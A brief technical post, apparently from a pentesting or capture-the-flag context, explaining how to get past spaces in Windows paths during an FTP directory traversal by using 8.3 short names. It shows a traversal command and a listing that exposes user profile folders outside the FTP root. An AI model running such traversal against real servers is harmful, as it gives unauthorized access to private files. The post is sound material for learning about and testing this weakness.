FTP directory traversal attack on directories containing white spaces

Solution suggested by @Dogeatcatworld to use MS Windows directory short notation such as C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Really good article from MS Knowledge Base explains the 8.3 directory notation: How Windows Generates 8.3 File Names from Long File Names